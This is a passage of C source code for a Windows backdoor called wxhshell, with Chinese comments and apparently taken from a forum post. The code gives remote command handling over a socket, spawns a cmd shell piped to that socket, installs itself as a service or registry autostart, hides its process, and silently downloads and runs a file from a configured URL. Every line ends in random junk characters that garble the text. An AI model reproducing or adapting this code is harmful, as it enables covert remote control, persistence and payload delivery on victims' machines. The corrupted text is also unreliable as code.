    break; (5-"5<-@R  
  } `;*=2M<c  
  // 安装 XnWr~h{b  
  case 'i': { {FQ dDIj#  
    if(Install()) oX3Q9)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xi;SKv;p  
    else z^~uq:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S_c#{4n  
    break; peGXU/5.I  
    } T>n,@?#K  
  // 卸载 1$@k@*u\  
  case 'r': { GOH@|2N  
    if(Uninstall()) &#.XLe\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G7%Nwe~Y  
    else 0g]ABzTn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lDp5aT;DsM  
    break; ?xK9  
    } Yl8tjq}iC  
  // 显示 wxhshell 所在路径 )^%,\l-!  
  case 'p': { ]t0?,q.$7  
    char svExeFile[MAX_PATH]; N Ja]UZx  
    strcpy(svExeFile,"\n\r"); {+ [rJ_  
      strcat(svExeFile,ExeFile); 3dadeu^{A  
        send(wsh,svExeFile,strlen(svExeFile),0); E'[pNU*"x-  
    break; 28X)s!W'  
    } }}grJh>tGg  
  // 重启 f(D?g  
  case 'b': { U <4<8'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yKZ~ ^  
    if(Boot(REBOOT)) X,O&X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R(pvUm& L  
    else { |[!xLqG  
    closesocket(wsh); 'r1&zw(  
    ExitThread(0); |V!A!tB  
    } ,dBtj8=  
    break; s.zH.q,  
    } F\-qXSA  
  // 关机 ?3KI}'}EM  
  case 'd': { jGI!}4_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wf: AMxDm  
    if(Boot(SHUTDOWN)) L$@RSKYp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#sMew\{  
    else { UfcM2OmbK  
    closesocket(wsh); U0jq.]P  
    ExitThread(0); BAoqO Xv  
    } ?H*_:?=6  
    break; z_JZx]*/  
    } 8qS)j1.!  
  // 获取shell 1%EY!14G+  
  case 's': { ?_<ZCH  
    CmdShell(wsh); :Oq!.uO  
    closesocket(wsh); B TcxBh  
    ExitThread(0); ~&B_ Bswf  
    break; j nI)n*  
  } C6'[Tn  
  // 退出 > )#*}JI  
  case 'x': { pk;bx2CP8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0" R|lTYq  
    CloseIt(wsh); ynP^|Ou  
    break; rK=[&k  
    } rX;(48Y  
  // 离开 .V/TVz!b  
  case 'q': { b;soMilz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K3 ]hUe#  
    closesocket(wsh); ,8$;|#d  
    WSACleanup(); m} Yf6:cr  
    exit(1); u{6*}6@fi  
    break; OY"{XnPZ  
        } /jj}.X7yH  
  } ",Q\A I  
  } !EpP-bq'*  
Grjm9tbX}  
  // 提示信息 CUxSmN2[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #+Vvf  
} JvHJ*E   
  } >b{%j8u M  
;Kkn7&'F  
  return; :4Q_\'P  
} |dX#4Mq^,  
d6hWmZVC  
// shell模块句柄 P\N`E?lJL  
int CmdShell(SOCKET sock) (''`Ce  
{ yRieGf1'SD  
STARTUPINFO si; B*D`KA  
ZeroMemory(&si,sizeof(si)); ,C=Fgxw(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -QZped;?*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4s"8e]q=  
PROCESS_INFORMATION ProcessInfo; ?c>j^}A/N  
char cmdline[]="cmd"; d>vGx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H,H'bd/  
  return 0; Q`19YX  
} eKStt|M'  
5vP*oD  
// 自身启动模式 cp.)K!$  
int StartFromService(void) <'GI<Hc  
{ u :m]-'  
typedef struct Q3oVl^q  
{ ?'h@!F%R'  
  DWORD ExitStatus; =gfLl1wY[  
  DWORD PebBaseAddress; 38Wv&!  
  DWORD AffinityMask; 2]> s@?[  
  DWORD BasePriority; ~"=nt@M]  
  ULONG UniqueProcessId; 5%4:)s{4|  
  ULONG InheritedFromUniqueProcessId; `?Y/:4  
}   PROCESS_BASIC_INFORMATION; O 6A:0yM4  
&+*jTE  
PROCNTQSIP NtQueryInformationProcess; '>`bp25>  
AV&W&$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KtV_DjH:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3s>& h-E  
{SROg;vA  
  HANDLE             hProcess; ~@sx}u  
  PROCESS_BASIC_INFORMATION pbi; +Do7rl  
ze#LX4b I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l|N1u=Z  
  if(NULL == hInst ) return 0; &p4q# p7,  
z),l&7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }B0V$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vQIoj31  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *5|\if\  
#Va@4<4r  
  if (!NtQueryInformationProcess) return 0; mH}AVje{ `  
q"]-CGAa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XM8C{I1  
  if(!hProcess) return 0; L"('gc!W  
gL}K84T$S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LClPAbr  
?}lCS7&  
  CloseHandle(hProcess); ]qv/+~Qs>  
AK [9fxrE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ADHe! [6q  
if(hProcess==NULL) return 0; {}lw%d?A  
YTYYb#"Q  
HMODULE hMod; 2@^8{  
char procName[255]; "$Rl9(}  
unsigned long cbNeeded; lWOB!l  
M}@^8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JBjz2$ZM  
L2K4nTA  
  CloseHandle(hProcess); 0n3O;=[aV  
b5H[~8mf  
if(strstr(procName,"services")) return 1; // 以服务启动 ICV67(Ui  
ZC0F:=/K  
  return 0; // 注册表启动 x$M[/ID0  
} [0IeEjL  
i-&kUG_X  
// 主模块 Em _miU  
int StartWxhshell(LPSTR lpCmdLine) 'VF9j\a  
{ \8F$85g  
  SOCKET wsl; _G'.VSGH  
BOOL val=TRUE; VMtR4!:q  
  int port=0; t/q\Ne\\,  
  struct sockaddr_in door; }b,a*4pN  
>xH3*0 Lp  
  if(wscfg.ws_autoins) Install(); !^\|r<2M  
}25{"R}K  
port=atoi(lpCmdLine); %oN^1a'&)  
5Z;Py"%  
if(port<=0) port=wscfg.ws_port; R$w=+%F  
"pHQ  
  WSADATA data; t$UFR7XE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c?z% z&  
JDMaLo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   St&XG>nWS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ][0HJG{{g  
  door.sin_family = AF_INET; [!aHP ?-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )ns;S  
  door.sin_port = htons(port); o.j;dsZ  
(S(=WG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8I~H1  
closesocket(wsl); R?]>8o,  
return 1; *W i(%  
} eL-92]]e  
lz# inC|  
  if(listen(wsl,2) == INVALID_SOCKET) { Dcp,9"yt%  
closesocket(wsl); Q>z0?%B  
return 1; B"{CWH O  
} %`g qV9a  
  Wxhshell(wsl); d5u,x.R  
  WSACleanup(); 12k)Ek9  
I:Z38xz-[  
return 0; j&#p&`B  
4V[+6EV  
} sb8SG_c.  
K,^b=_]  
// 以NT服务方式启动 I@x*>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xi|iV1A  
{ E%$FX' 8&  
DWORD   status = 0; w#"c5w~  
  DWORD   specificError = 0xfffffff; [% 3{mAd  
'rd{fe_g!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i2swots  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h3JIiwv0!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r2H]n.MT  
  serviceStatus.dwWin32ExitCode     = 0; *Jp>)>  
  serviceStatus.dwServiceSpecificExitCode = 0; 6%:'2;xM  
  serviceStatus.dwCheckPoint       = 0; gE8>5_R|  
  serviceStatus.dwWaitHint       = 0; vO"AJ`_  
]bX.w/=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v'Lckw@G4  
  if (hServiceStatusHandle==0) return; W]reQ&<Z  
s<^UAdLnl  
status = GetLastError(); 7] ~'8  
  if (status!=NO_ERROR) B%r)~?6DM  
{ R':a,6 O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aP4r6lLv+  
    serviceStatus.dwCheckPoint       = 0; N(F9vZOs  
    serviceStatus.dwWaitHint       = 0; VpJ2Qpd=  
    serviceStatus.dwWin32ExitCode     = status; GL (YC-{  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~Ilgc CF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;i,yT ?so  
    return; ,9q5jOnk  
  } BDcl1f T  
|E!xt6B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a:@Eg;aN*O  
  serviceStatus.dwCheckPoint       = 0; a*vi&$@`Z1  
  serviceStatus.dwWaitHint       = 0; Y}F+4   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z;Tjjws  
} 4J_18.JHP  
h`jtmhoz  
// 处理NT服务事件,比如:启动、停止 m#8mU,7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ak|j J  
{ 3B;B#0g50  
switch(fdwControl) gKBcD\F  
{ Dwwh;B  
case SERVICE_CONTROL_STOP: ;i Ud3 '*  
  serviceStatus.dwWin32ExitCode = 0; T#h`BtET[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6h;$^3x$  
  serviceStatus.dwCheckPoint   = 0; UG1^G07s  
  serviceStatus.dwWaitHint     = 0; u*PN1E  
  { =1LrU$\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;2& (]1X  
  } $'kIo*cZ  
  return; i) :Q{[D  
case SERVICE_CONTROL_PAUSE: }X}fX#[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?;}2 Z)  
  break; NlWIb2,  
case SERVICE_CONTROL_CONTINUE: \}G/F!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o3%Gc/6%  
  break; &{l?j>|TM  
case SERVICE_CONTROL_INTERROGATE: My=p>{s  
  break; _%"/I96'  
}; -CxaOZG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )<jj O  
} Ue~M .LZb  
|?{Zx&yUw  
// 标准应用程序主函数 ?2DYz"/')  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }0qgvw  
{ N{oD1%  
$FCLo8/=  
// 获取操作系统版本 T2^ @x9  
OsIsNt=GetOsVer(); lZ E x0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >'E'Mp.  
Fe`$mtPu.  
  // 从命令行安装 / 1E6U6  
  if(strpbrk(lpCmdLine,"iI")) Install(); rN_\tulOF  
=j }]-!  
  // 下载执行文件 C\ 9eR  
if(wscfg.ws_downexe) { 3kQky  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q[**i[+%  
  WinExec(wscfg.ws_filenam,SW_HIDE); XCQ =`3f  
} c1!h;(&  
>CNH=  
if(!OsIsNt) { 42X[Huy]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y+j|T`d  
HideProc(); QnVYZUgJeV  
StartWxhshell(lpCmdLine); \vojF\  
} \%rX~UhZ=  
else &o:wSe  
  if(StartFromService()) sIg{a( 1/  
  // 以服务方式启动 q[7C,o>/  
  StartServiceCtrlDispatcher(DispatchTable); zjB8~ku#  
else dN;C-XF3s  
  // 普通方式启动 &5c)qap;n  
  StartWxhshell(lpCmdLine); WVp14Z?k  
qKZ~)B j  
return 0; Bo)w#X  
}
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只看该作者 1 发表于: 2006-10-10
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